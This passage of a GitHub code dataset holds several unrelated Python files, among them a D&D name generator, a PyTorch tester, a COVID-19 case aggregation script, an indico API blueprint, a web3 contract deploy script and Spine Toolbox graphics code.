print(json.dumps(client.get_list('https://graph.microsoft.com/beta/sites/{}/pages'.format(site._id)), indent=2))\n\n elif cli.args.action == 'list-lists':\n print(json.dumps(site.lists, indent=2))\n\n for l in site.lists:\n print(json.dumps(client.get_list('sites/{}/lists/{}/items'.format(site._id, l['id'])), indent=2))\n\n else:\n print('Unsupported action {}'.format(cli.args.action), file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"UMCollab/ODM","sub_path":"odm/libexec/odm_site.py","file_name":"odm_site.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13864909050","text":"from dndraces import Race\nimport random\n\n\nclass Elf(Race):\n NAME = \"elf\"\n LAWFULNESS = (-3, 2) # mu, sigma\n GOODNESS = (2, 2) # mu, sigma\n\n HAIR = {\"black\": 20,\n \"brown\": 35,\n \"blond\": 15,\n \"ginger\": 8,\n \"green\": 1,\n \"blue\": 1,\n \"white\": 1,\n \"red\": 1,\n }\n\n EYES = {\"blue\": 20,\n \"brown\": 40,\n \"green\": 10,\n \"black\": 10,\n \"red\": 1,\n \"violet\": 1,\n }\n\n MALE_NAME = [\"Aramil\",\n \"Aust\",\n \"Enialis\",\n \"Heian\",\n \"Himo\",\n \"Ivellios\",\n \"Lau-cian\",\n \"Quarion\",\n \"Soverliss\",\n \"Thamior\",\n \"Tharivol\"]\n\n FEMALE_NAME = [\"Anastrianna\",\n \"Antinua\",\n \"Drusilia\",\n \"Felosial\",\n \"Ielenia\",\n \"Lia\",\n \"Mialee\",\n \"Qillathe\",\n \"Silaqui\",\n \"Vadania\",\n \"Valanthe\",\n \"Xanaphia\"]\n\n FAMILY_NAME = [\"Amastacia (Starflower)\",\n \"Amakiir (Gemflower)\",\n \"Galanodel (Moonwhisper)\",\n \"Holimion (Diamonddew)\",\n \"Liadon (Silverfrond)\",\n \"Meliamne (Oakenheel)\",\n \"Naïlo (Nightbreeze)\",\n \"Siannodel (Moonbrook)\",\n \"Ilphukiir (Gemblossom)\",\n \"Xiloscient (Goldpetal)\"]\n\n # Gender Base Height Height Modifier Base Weight Weight Modifier\n # Male 4' 5\" +2d6 85 lb. x (1d6) lb.\n # Female 4' 5\" +2d6 80 lb. x (1d6) lb.\n\n H_MOD = \"2d6\"\n H_UNIT = \"inch\"\n\n W_MOD = \"1d6\"\n W_UNIT = \"lbs\"\n\n class Male(Race.Male):\n H_BASE = \"4'5\\\"\"\n W_BASE = \"85lbs\"\n\n class Female(Race.Female):\n H_BASE = \"4'5\\\"\"\n W_BASE = \"80lbs\"\n\n def make_name(self):\n if self.gender.NAME == \"male\":\n first_name = random.choice(self.MALE_NAME)\n else:\n first_name = random.choice(self.FEMALE_NAME)\n family_name = random.choice(self.FAMILY_NAME)\n self.name = first_name + \" \" + family_name\n","repo_name":"chielk/dndmake","sub_path":"dndraces/elf.py","file_name":"elf.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11132049196","text":"import sys\nfrom osbrain import run_agent\nfrom osbrain import run_nameserver\nfrom organizerAgent import OrganizerAgent \n\n\nif __name__ == '__main__':\n if (len(sys.argv) != 3):\n print(\"You must enter only the number of couples and number of interests! (e.g.: python speedDating.py 4 4\")\n exit()\n\n ns_sock = run_nameserver()\n \n organizerAgent = run_agent('OrganizerAgent', base=OrganizerAgent)\n organizerAgent.numberOfCouples = int(sys.argv[1])\n organizerAgent.numberOfInterests = int(sys.argv[2])\n organizerAgent.initializeAgents()\n \n while organizerAgent.is_running():\n try: \n organizerAgent.startDating()\n except KeyboardInterrupt:\n ns_sock.shutdown_agents()\n ns_sock.shutdown()\n \n ns_sock.shutdown_agents()\n ns_sock.shutdown()\n","repo_name":"muratcanakcay/Agent-Systems-and-Software-Applications","sub_path":"OSBRAIN Homework/speedDating.py","file_name":"speedDating.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21275891155","text":"import torch\n\nimport logging\n\n\nclass Tester(object):\n def __init__(self,\n model,\n test_dataloader=None,\n use_gpu=True\n ) -> None:\n self.model = model\n self.test_dataloader = test_dataloader\n self.use_gpu = use_gpu\n if self.use_gpu:\n self.device = torch.device(\n 'cuda' if torch.cuda.is_available() and use_gpu else 'cpu')\n self.model = self.model.cuda()\n\n def run(self):\n correct = 0\n total = 0\n for images, labels in self.test_dataloader:\n if self.use_gpu:\n images = images.to(self.device)\n labels = labels.to(self.device)\n outputs = self.model(images)\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum().item()\n logging.info('Accuracy of the network on the 10000 test images: {:.5f} '.format(\n correct / total))\n","repo_name":"p2pc/optimchan","sub_path":"pytorchan/testers/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"33990956256","text":"from cgi import print_directory\nimport string\nimport math\n\n# le format de s est [f(x0), f(x0+h), f(x0+2h), ...]\n# h = 0.1 par defaut\ndef deriver(s):\n if (s==None):\n return None\n l = len(s)\n # parcour la liste s pour verifier le type des elements\n if l < 2 :\n return None\n else :\n for item in s:\n if( type(item) != float):\n print(item)\n return False\n # calcule la derivee de s\n res = []\n if l == 2:\n res.append(round((s[1]-s[0])/0.1, 2))\n return res\n else :\n for i in range(l-1) :\n print(\"s[\",i,\"] est : \", s[i])\n print(\"s[\",i+1,\"] est : \", s[i+1])\n res.append(round((s[i+1]-s[i])/0.1, 2))\n return res\n\n\n \n\n","repo_name":"milornight/TDD2_test_logiciel","sub_path":"func2.py","file_name":"func2.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40151214967","text":"# 產生一個隨機整數1~100\n# 讓使用者重複輸入數字去猜\n# 猜對的話 印出“猜對了”\n# 猜錯的話 要告訴他比答案大或小\n\nimport random\n\nr = random.randint(1, 100)\ncount = 0\n\nwhile True:\n\tnumber = input('please enter a number from 0~100: ')\n\tnumber = int(number)\n\tcount += 1 # count = count + 1\n\n\tif number == r: \n\t\tprint('It is correct!')\n\t\tprint('this is the', count, 'times')\n\t\tbreak\n\telif number > r:\n\t\tprint('your answer is larger than the answer.')\n\telif number < r:\n\t\tprint('your answer is smaller than the answer')\n\n\tprint('this is the', count, 'times')\n\n\n","repo_name":"JackLu1020/r1","sub_path":"r1.py","file_name":"r1.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21297513377","text":"import pandas as pd\nimport numpy as np\n\n\npasta=\"C:/Users/ravel/Downloads/COVID-19 no Mundo, no Brasil e em Pernambuco (8).csv\"\npath_out_SUQC_mod = \"C:/Users/ravel/OneDrive/Área de Trabalho/DataScientist/sklearn/COVID-19/CasosPorEstado/suqcmod_covid19/data/data_mensured_PE/\"\n\ndf = pd.read_csv(pasta,header = 0, sep = \",\")\n\ndf_filtred_confirmed = df.query('classe == \"CONFIRMADO\"')\ndf_municipios=pd.pivot_table(df_filtred_confirmed, values = 'X', \n columns = ['mun_notificacao'],\n aggfunc=np.mean)\n\nfile_mun = \"C:/Users/ravel/OneDrive/Área de Trabalho/DataScientist/sklearn/COVID-19/CasosPorEstado/suqcmod_covid19/data/municipios_PE.csv\"\ndf_municipios.to_csv(file_mun,sep = \";\", index = False)\nmunicipios = df_municipios.columns\n\nfor mun in municipios:\n \n df_municipio = df_filtred_confirmed.query('mun_notificacao == '+'\"'+mun+'\"')\n df_municipio[\"Cases\"] = np.zeros(len(df_municipio))+1\n\n df_organizado = pd.pivot_table(df_municipio, values = 'Cases', \n index = ['dt_notificacao'],\n aggfunc=np.sum)\n\n df_organizado[\"DateRep\"] = pd.to_datetime(df_organizado.index)\n df_corrigido = pd.date_range(start = df_organizado[\"DateRep\"].values[0],\n end = df_organizado[\"DateRep\"].values[-1],\n freq='D')\n cases = np.zeros(len(df_corrigido))\n\n for i in range(len(df_organizado)):\n for j in range(len(df_corrigido)):\n if df_corrigido.values[j] == df_organizado[\"DateRep\"].values[i]:\n cases[j] = df_organizado[\"Cases\"].values[i]\n \n df_organizado_ = pd.DataFrame(df_corrigido.values, columns = [\"DateRep\"])\n df_organizado_[\"Cases\"] = np.array(cases)\n\n df_organizado_[\"cum-Cases\"] = df_organizado_[\"Cases\"].cumsum()\n df_organizado_[\"Deaths\"] = np.zeros(len(df_organizado_))\n\n for i in range(len(df_municipio)):\n for j in range(len(df_organizado_)):\n if df_municipio[\"dt_obito\"].values[i] == str(df_corrigido.values[j])[:10]:\n df_organizado_[\"Deaths\"][j]=df_organizado_[\"Deaths\"][j]+1\n\n df_organizado_[\"cum-Deaths\"] = df_organizado_[\"Deaths\"].cumsum() \n df_organizado_.to_csv(path_out_SUQC_mod+ \"COVID-19 \"+ mun + \".csv\", sep = \";\",index = False)\n\n\n","repo_name":"ravellys/suqcmod_covid19","sub_path":"script/data_PE.py","file_name":"data_PE.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33948723260","text":"from functools import lru_cache\n\n\n@lru_cache(maxsize=None)\ndef Min_and_Max(Arr):\n # // returns an array where the first element is the minimum sum and the\n # second is the maximum sum .\n if len(Arr) == 2:\n power = Arr[0] ^ Arr[1]\n return power, power\n minimum = float('inf')\n maximum = 0\n for i in range(1, len(Arr)):\n val = Arr[0] ^ Arr[i]\n res = Min_and_Max(Arr[1:i] + Arr[i + 1:])\n minimum = min(res[0] + val, minimum)\n maximum = max(res[1] + val, maximum)\n return minimum, maximum\n\n\nn = int(input())\nArr = []\nfor _ in range(n):\n Arr.append(int(input()))\n\nout_ = Min_and_Max(tuple(Arr))\nprint(' '.join(map(str, out_)))\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerearth/Algorithms/Integer distribution/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"73341855767","text":"from flask import request\n\nfrom indico.modules.api.controllers import (RHAPIAdminKeys, RHAPIAdminSettings, RHAPIBlockKey, RHAPICreateKey,\n RHAPIDeleteKey, RHAPITogglePersistent, RHAPIUserProfile)\nfrom indico.web.flask.wrappers import IndicoBlueprint\nfrom indico.web.http_api.handlers import handler as api_handler\n\n\n_bp = IndicoBlueprint('api', __name__, template_folder='templates', virtual_template_folder='api')\n\n# HTTP API\n_bp.add_url_rule('/export/', view_func=api_handler, endpoint='httpapi', defaults={'prefix': 'export'})\n_bp.add_url_rule('/api/', view_func=api_handler, endpoint='httpapi', defaults={'prefix': 'api'},\n methods=('POST',))\n_bp.add_url_rule('/', endpoint='httpapi', build_only=True)\n\n# Administration\n_bp.add_url_rule('/admin/api/', 'admin_settings', RHAPIAdminSettings, methods=('GET', 'POST'))\n_bp.add_url_rule('/admin/api/keys', 'admin_keys', RHAPIAdminKeys)\n\n# User profile\nwith _bp.add_prefixed_rules('/user/', '/user'):\n _bp.add_url_rule('/api/', 'user_profile', RHAPIUserProfile)\n _bp.add_url_rule('/api/create', 'key_create', RHAPICreateKey, methods=('POST',))\n _bp.add_url_rule('/api/delete', 'key_delete', RHAPIDeleteKey, methods=('POST',))\n _bp.add_url_rule('/api/persistent', 'key_toggle_persistent', RHAPITogglePersistent, methods=('POST',))\n _bp.add_url_rule('/api/block', 'key_block', RHAPIBlockKey, methods=('POST',))\n\n\n@_bp.url_defaults\ndef _add_user_id(endpoint, values):\n if (endpoint == 'api.user_profile' or endpoint.startswith('api.key_')) and 'user_id' not in values:\n # Inject user id if it's present in the url\n values['user_id'] = request.view_args.get('user_id')\n","repo_name":"indico/indico","sub_path":"indico/modules/api/blueprint.py","file_name":"blueprint.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":1560,"dataset":"github-code","pt":"31"} +{"seq_id":"3734560037","text":"def fill(input: str, target_length):\n result = input\n while(len(result) < target_length):\n a = [c for c in result]\n b = a.copy()\n b.reverse()\n for (idx, element) in enumerate(b):\n b[idx] = \"0\" if element == \"1\" else \"1\"\n result = \"\".join(a) + \"0\" + \"\".join(b)\n return result\n\ndef calc_checksum(input: str):\n if len(input) % 2 != 0:\n raise Exception(\"input length not dividable by 2\")\n\n while(len(input) % 2 == 0):\n pairs = []\n for i in range(0, len(input), 2):\n pairs.append(input[i:i+2])\n input = \"\"\n for p in pairs:\n if(p[0] == p[1]):\n input += \"1\"\n else:\n input += \"0\"\n return input\n\ndef fill_and_calc_checksum(input: str, target_length):\n filled = fill(input, target_length)\n if(len(filled) > target_length):\n filled = filled[:target_length]\n checksum = calc_checksum(filled)\n return checksum\n\ndef test():\n assert fill(\"1\", 3) == \"100\"\n assert fill(\"0\", 3) == \"001\"\n assert fill(\"11111\", len(\"11111000000\")) == \"11111000000\"\n assert fill(\"111100001010\", len(\"1111000010100101011110000\")) == \"1111000010100101011110000\"\n\n assert calc_checksum(\"110010110100\") == \"100\"\n\n assert fill_and_calc_checksum(\"10000\", 20) == \"01100\"\n\ndef main():\n # test()\n\n result = fill_and_calc_checksum(\"11110010111001001\", 272)\n print(f'Pt1: {result}')\n result = fill_and_calc_checksum(\"11110010111001001\", 35651584)\n print(f'Pt2: {result}')\n\nif __name__ == '__main__':\n main()\n","repo_name":"joergpichler/AdventOfCode","sub_path":"2016/Day16/Day16.py","file_name":"Day16.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"773273370","text":"from solcx import compile_standard, install_solc\r\nimport json\r\nfrom web3 import Web3\r\nimport os\r\nfrom dotenv import load_dotenv\r\n\r\nload_dotenv()\r\n\r\nwith open(\"./SimpleStorage.sol\", \"r\") as file:\r\n simple_storage_file = file.read()\r\n\r\ninstall_solc(\"0.6.0\")\r\n# Compile my Solidity\r\n\r\ncompiled_sol = compile_standard(\r\n {\r\n \"language\": \"Solidity\",\r\n \"sources\": {\"SimpleStorage.sol\": {\"content\": simple_storage_file}},\r\n \"settings\": {\r\n \"outputSelection\": {\r\n \"*\": {\r\n \"*\": [\"abi\", \"metadata\", \"evm.bytecode\", \"evm.bytecode.sourceMap\"]\r\n }\r\n }\r\n },\r\n },\r\n solc_version=\"0.6.0\",\r\n)\r\n\r\nwith open(\"comipiled_code.json\", \"w\") as file:\r\n json.dump(compiled_sol, file)\r\n\r\n# get bytecode\r\nbytecode = compiled_sol[\"contracts\"][\"SimpleStorage.sol\"][\"SimpleStorage\"][\"evm\"][\r\n \"bytecode\"\r\n][\"object\"]\r\n\r\n# get abi\r\nabi = compiled_sol[\"contracts\"][\"SimpleStorage.sol\"][\"SimpleStorage\"][\"abi\"]\r\n\r\n# for connecting to rinkeby\r\nw3 = Web3(\r\n Web3.HTTPProvider(\"https://rinkeby.infura.io/v3/c4755a2725794bb58a01c2d892c8f6a0\")\r\n)\r\nchain_id = 4\r\nmy_address = \"0xC1bc0195F9eCBF4E085cb847eEc03e9a266a7ED3\"\r\nprivate_key = os.getenv(\"PRIVATE_KEY\")\r\n\r\n# Creating a contract on python\r\nSimpleStorage = w3.eth.contract(abi=abi, bytecode=bytecode)\r\n# Get the latest transaction count\r\nnonce = w3.eth.getTransactionCount(my_address)\r\n# print(nonce)\r\n# 1.Build transaction\r\n# 2.Sign transaction\r\n# 3.Send transaction\r\n# transaction = SimpleStorage.constructor().buildTransaction(\r\n# {\"chainId\": chain_id, \"from\": my_address, \"nonce\": nonce}\r\n# )\r\n\r\n# build txn\r\ntransaction = SimpleStorage.constructor().buildTransaction(\r\n {\r\n \"chainId\": chain_id,\r\n \"gasPrice\": w3.eth.gas_price,\r\n \"from\": my_address,\r\n \"nonce\": nonce,\r\n }\r\n)\r\n\r\n# sign txn\r\nsigned_txn = w3.eth.account.sign_transaction(transaction, private_key=private_key)\r\n\r\n# send txn\r\nprint(\"Deploying contract...\")\r\ntx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)\r\ntx_reciept = w3.eth.wait_for_transaction_receipt(tx_hash)\r\nprint(\"Deployed!\")\r\n# Working with a contract you always need:\r\n# 1. Contract address\r\n# 2. Contract ABI\r\nsimple_storage = w3.eth.contract(address=tx_reciept.contractAddress, abi=abi)\r\n# Call -> Simulate making a call and getting return value\r\n# Transact -> Actually make state change\r\n\r\n# Initial value of favorite number\r\nprint(\"Initial value of favorite number:\")\r\nprint(simple_storage.functions.retrieve().call())\r\nprint(\"Creating transaction to store new favorite number\")\r\nstore_transaction = simple_storage.functions.store(15).buildTransaction(\r\n {\r\n \"chainId\": chain_id,\r\n \"gasPrice\": w3.eth.gas_price,\r\n \"from\": my_address,\r\n \"nonce\": nonce + 1,\r\n }\r\n)\r\nsigned_store_txn = w3.eth.account.sign_transaction(\r\n store_transaction, private_key=private_key\r\n)\r\nprint(\"Sending signed transaction\")\r\ntransaction_hash = w3.eth.send_raw_transaction(signed_store_txn.rawTransaction)\r\ntx_reciept = w3.eth.wait_for_transaction_receipt(transaction_hash)\r\nprint(\"New favorite number: \", simple_storage.functions.retrieve().call())\r\n","repo_name":"trekol1/EVM_SmartContracts","sub_path":"w3_py_simple_storage/w3_py_simple_storage/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41713384222","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\n\nN = int(input())\nA = list(map(int, input().split()))\nA.sort()\n\nM = int(input())\nnumbers = list(map(int, input().split()))\nanswers = ['0'] * M\n\n\ndef binary_search(num, left, right):\n if left == right:\n return False\n mid = (left + right) // 2\n if A[mid] == num:\n return True\n elif A[mid] < num:\n return binary_search(num, mid+1, right)\n else:\n return binary_search(num, left, mid)\n\n\nfor i in range(M):\n if binary_search(numbers[i], 0, N):\n answers[i] = '1'\n\nprint('\\n'.join(answers))\n","repo_name":"heecheol1508/algorithm-problem","sub_path":"_baekjoon/1920_수 찾기.py","file_name":"1920_수 찾기.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6903971842","text":"import pygame as pg\r\nimport sys\r\npg.init()\r\nchetan=pg.display.set_mode((400,400))\r\nchetan.fill(\"white\")\r\nFONT = pg.font.Font(pg.font.get_default_font(), 20)\r\npreviousWidth = 0\r\ndef getSurfaces(word, pos):\r\n global previousWidth\r\n \r\n surfaces = []\r\n positions = []\r\n for i in range(len(word)):\r\n surf = FONT.render(f\"{word[i]}\", True, \"black\")\r\n surfaces.append(surf)\r\n for i in range(len(surfaces)):\r\n previousWidth += surfaces[i-1].get_rect().width\r\n positions.append([previousWidth + pos[0], pos[1]])\r\n return surfaces, positions\r\nwhile True:\r\n pg.display.update()\r\n \r\n getSurfaces(\"chetan\",200 )\r\n for event in pg.event.get():\r\n if event.type==pg.QUIT:\r\n pg.quit()\r\n sys.exit()\r\n\r\n ","repo_name":"chetanrchetu/my-project","sub_path":"HANGMAN/htextsam.py","file_name":"htextsam.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31698672761","text":"import math\nfrom PySide6.QtCore import Qt, QPointF, QRectF, QLineF\nfrom PySide6.QtWidgets import (\n QGraphicsItem,\n QGraphicsTextItem,\n QGraphicsSimpleTextItem,\n QGraphicsPathItem,\n QGraphicsEllipseItem,\n QGraphicsColorizeEffect,\n QGraphicsDropShadowEffect,\n QApplication,\n QToolTip,\n QStyle,\n)\nfrom PySide6.QtGui import (\n QColor,\n QPen,\n QBrush,\n QTextCursor,\n QPalette,\n QTextBlockFormat,\n QFont,\n QPainterPath,\n QRadialGradient,\n)\nfrom PySide6.QtSvg import QSvgRenderer\nfrom PySide6.QtSvgWidgets import QGraphicsSvgItem\nfrom spine_engine.spine_engine import ItemExecutionFinishState\nfrom .project_commands import MoveIconCommand\nfrom .helpers import LinkType, fix_lightness_color\n\n\nclass ProjectItemIcon(QGraphicsPathItem):\n \"\"\"Base class for project item icons drawn in Design View.\"\"\"\n\n ITEM_EXTENT = 64\n FONT_SIZE_PIXELS = 12 # pixel size to prevent font scaling by system\n\n def __init__(self, toolbox, icon_file, icon_color):\n \"\"\"\n Args:\n toolbox (ToolboxUI): QMainWindow instance\n icon_file (str): Path to icon resource\n icon_color (QColor): Icon's color\n \"\"\"\n super().__init__()\n self._toolbox = toolbox\n self._scene = None\n self._bumping = True\n self.bumped_rects = {} # Item rect before it was bumped\n self.icon_file = icon_file\n self._icon_color = icon_color\n self._moved_on_scene = False\n self.previous_pos = QPointF()\n self.icon_group = {self}\n self.renderer = QSvgRenderer()\n self.svg_item = QGraphicsSvgItem(self)\n self.svg_item.setZValue(100)\n self.colorizer = QGraphicsColorizeEffect()\n self._rect = QRectF(-self.ITEM_EXTENT / 2, -self.ITEM_EXTENT / 2, self.ITEM_EXTENT, self.ITEM_EXTENT)\n self.component_rect = QRectF(0, 0, self.ITEM_EXTENT / 4, self.ITEM_EXTENT / 4)\n self._selection_halo = QGraphicsPathItem(self)\n # Make exclamation, rank, and execution icons\n self.exclamation_icon = ExclamationIcon(self)\n self.execution_icon = ExecutionIcon(self)\n self.rank_icon = RankIcon(self)\n # Make item name graphics item.\n self._name = \"\"\n self.name_item = QGraphicsSimpleTextItem(self._name)\n self.name_item.setZValue(100)\n self.set_name_attributes() # Set font, size, position, etc.\n # Make connector buttons\n self.connectors = dict(\n bottom=ConnectorButton(toolbox, self, position=\"bottom\"),\n left=ConnectorButton(toolbox, self, position=\"left\"),\n right=ConnectorButton(toolbox, self, position=\"right\"),\n )\n self._setup()\n shadow_effect = QGraphicsDropShadowEffect()\n shadow_effect.setOffset(1)\n shadow_effect.setEnabled(False)\n self.setGraphicsEffect(shadow_effect)\n self._update_path()\n\n def rect(self):\n return self._rect\n\n def _update_path(self):\n rounded = self._toolbox.qsettings().value(\"appSettings/roundedItems\", defaultValue=\"false\") == \"true\"\n self._do_update_path(rounded)\n\n def update_path(self, rounded):\n self._do_update_path(rounded)\n\n def _do_update_path(self, rounded):\n radius = self.component_rect.width() / 2 if rounded else 0\n path = QPainterPath()\n path.addRoundedRect(self._rect, radius, radius)\n self.setPath(path)\n self.rank_icon.update_path(radius)\n for conn in self.connectors.values():\n conn.update_path(radius)\n # Selection halo\n pen_width = 1\n margin = 1\n path = QPainterPath()\n path.addRoundedRect(self._rect.adjusted(-margin, -margin, margin, margin), radius + margin, radius + margin)\n self._selection_halo.setPath(path)\n selection_pen = QPen(Qt.DashLine)\n selection_pen.setWidthF(pen_width)\n self._selection_halo.setPen(selection_pen)\n\n def finalize(self, name, x, y):\n \"\"\"\n Names the icon and moves it by given amount.\n\n Args:\n name (str): icon's name\n x (int): horizontal offset\n y (int): vertical offset\n \"\"\"\n self.moveBy(x, y)\n self.update_name_item(name)\n\n def _setup(self):\n \"\"\"Setup item's attributes.\"\"\"\n self.colorizer.setColor(self._icon_color)\n background_color = fix_lightness_color(self._icon_color)\n gradient = QRadialGradient(self._rect.center(), 1 * self._rect.width())\n gradient.setColorAt(0, background_color.lighter(105))\n gradient.setColorAt(1, background_color.darker(105))\n brush = QBrush(gradient)\n pen = QPen(QBrush(background_color.darker()), 1, Qt.SolidLine)\n self.setPen(pen)\n for conn in self.connectors.values():\n conn.setPen(pen)\n self.rank_icon.bg.setPen(pen)\n self.setBrush(brush)\n # Load SVG\n loading_ok = self.renderer.load(self.icon_file)\n if not loading_ok:\n self._toolbox.msg_error.emit(\"Loading SVG icon from resource:{0} failed\".format(self.icon_file))\n return\n size = self.renderer.defaultSize()\n self.svg_item.setSharedRenderer(self.renderer)\n self.svg_item.setElementId(\"\") # guess empty string loads the whole file\n dim_max = max(size.width(), size.height())\n rect_w = self.rect().width() # Parent rect width\n margin = 32\n self.svg_item.setScale((rect_w - margin) / dim_max)\n self.svg_item.setPos(self.rect().center() - self.svg_item.sceneBoundingRect().center())\n self.svg_item.setGraphicsEffect(self.colorizer)\n self.setFlag(QGraphicsItem.ItemIsMovable, enabled=True)\n self.setFlag(QGraphicsItem.ItemIsSelectable, enabled=True)\n self.setFlag(QGraphicsItem.ItemIsFocusable, enabled=True)\n self.setFlag(QGraphicsItem.ItemSendsScenePositionChanges, enabled=True)\n self.setAcceptHoverEvents(True)\n self.setCursor(Qt.PointingHandCursor)\n # Set exclamation, execution_log, and rank icons position\n self.exclamation_icon.setPos(self.rect().topRight() - self.exclamation_icon.sceneBoundingRect().topRight())\n self.execution_icon.setPos(\n self.rect().bottomRight() - 0.5 * self.execution_icon.sceneBoundingRect().bottomRight()\n )\n self.rank_icon.setPos(self.rect().topLeft())\n\n def name(self):\n \"\"\"Returns name of the item that is represented by this icon.\n\n Returns:\n str: icon's name\n \"\"\"\n return self._name\n\n def update_name_item(self, new_name):\n \"\"\"Set a new text to name item.\n\n Args:\n new_name (str): icon's name\n \"\"\"\n self._name = new_name\n self.name_item.setText(new_name)\n self._reposition_name_item()\n\n def set_name_attributes(self):\n \"\"\"Set name QGraphicsSimpleTextItem attributes (font, size, position, etc.)\"\"\"\n # Set font size and style\n font = self.name_item.font()\n font.setPixelSize(self.FONT_SIZE_PIXELS)\n font.setBold(True)\n self.name_item.setFont(font)\n\n def _reposition_name_item(self):\n \"\"\"Set name item position (centered on top of the master icon).\"\"\"\n main_rect = self.sceneBoundingRect()\n name_rect = self.name_item.sceneBoundingRect()\n self.name_item.setPos(main_rect.center().x() - name_rect.width() / 2, main_rect.y() - name_rect.height() - 4)\n\n def conn_button(self, position=\"left\"):\n \"\"\"Returns item's connector button.\n\n Args:\n position (str): \"left\", \"right\" or \"bottom\"\n\n Returns:\n QWidget: connector button\n \"\"\"\n return self.connectors.get(position, self.connectors[\"left\"])\n\n def outgoing_connection_links(self):\n \"\"\"Collects outgoing connection links.\n\n Returns:\n list of LinkBase: outgoing links\n \"\"\"\n return [l for conn in self.connectors.values() for l in conn.outgoing_links()]\n\n def incoming_links(self):\n \"\"\"Collects incoming connection links.\n\n Returns:\n list of LinkBase: outgoing links\n \"\"\"\n return [l for conn in self.connectors.values() for l in conn.incoming_links()]\n\n def _closest_connector(self, pos):\n \"\"\"Returns the closest connector button to given scene pos.\"\"\"\n connectors = list(self.connectors.values())\n distances = [(pos - connector.sceneBoundingRect().center()).manhattanLength() for connector in connectors]\n index_min = min(range(len(distances)), key=distances.__getitem__)\n return connectors[index_min]\n\n def _update_link_drawer_destination(self, pos=None):\n \"\"\"Updates link drawer destination. If pos is None, then the link drawer would have no destination.\n Otherwise, the destination would be the connector button closest to pos.\n \"\"\"\n link_drawer = self.scene().link_drawer\n if link_drawer is not None:\n if link_drawer.dst_connector is not None:\n link_drawer.dst_connector.set_normal_brush()\n if pos is not None:\n link_drawer.dst_connector = self._closest_connector(pos)\n link_drawer.dst_connector.set_hover_brush()\n else:\n link_drawer.dst_connector = None\n link_drawer.update_geometry()\n\n def hoverEnterEvent(self, event):\n \"\"\"Sets a drop shadow effect to icon when mouse enters its boundaries.\n\n Args:\n event (QGraphicsSceneMouseEvent): Event\n \"\"\"\n self.prepareGeometryChange()\n self.graphicsEffect().setEnabled(True)\n event.accept()\n self._update_link_drawer_destination(event.scenePos())\n\n def hoverMoveEvent(self, event):\n event.accept()\n self._update_link_drawer_destination(event.scenePos())\n\n def hoverLeaveEvent(self, event):\n \"\"\"Disables the drop shadow when mouse leaves icon boundaries.\n\n Args:\n event (QGraphicsSceneMouseEvent): Event\n \"\"\"\n self.prepareGeometryChange()\n self.graphicsEffect().setEnabled(False)\n event.accept()\n self._update_link_drawer_destination()\n\n def mousePressEvent(self, event):\n \"\"\"Updates scene's icon group.\"\"\"\n super().mousePressEvent(event)\n icon_group = set(x for x in self.scene().selectedItems() if isinstance(x, ProjectItemIcon)) | {self}\n for icon in icon_group:\n icon.previous_pos = icon.scenePos()\n self.scene().icon_group = icon_group\n\n def update_links_geometry(self):\n \"\"\"Updates geometry of connected links to reflect this item's most recent position.\"\"\"\n scene = self.scene()\n if not scene:\n return\n icon_group = scene.icon_group | {self}\n scene.dirty_links |= set(\n link for icon in icon_group for conn in icon.connectors.values() for link in conn.links\n )\n\n def mouseReleaseEvent(self, event):\n \"\"\"Clears pre-bump rects, and pushes a move icon command if necessary.\"\"\"\n for icon in self.scene().icon_group:\n icon.bumped_rects.clear()\n # pylint: disable=undefined-variable\n if (self.scenePos() - self.previous_pos).manhattanLength() > qApp.startDragDistance():\n self._toolbox.undo_stack.push(MoveIconCommand(self, self._toolbox.project()))\n event.ignore()\n super().mouseReleaseEvent(event)\n\n def notify_item_move(self):\n if self._moved_on_scene:\n self._moved_on_scene = False\n scene = self.scene()\n scene.item_move_finished.emit(self)\n\n def contextMenuEvent(self, event):\n \"\"\"Show item context menu.\n\n Args:\n event (QGraphicsSceneMouseEvent): Mouse event\n \"\"\"\n event.accept()\n self.scene().clearSelection()\n self.setSelected(True)\n ind = self._toolbox.project_item_model.find_item(self.name())\n self._toolbox.show_project_or_item_context_menu(event.screenPos(), ind)\n\n def itemChange(self, change, value):\n \"\"\"\n Reacts to item removal and position changes.\n\n In particular, destroys the drop shadow effect when the items is removed from a scene\n and keeps track of item's movements on the scene.\n\n Args:\n change (GraphicsItemChange): a flag signalling the type of the change\n value: a value related to the 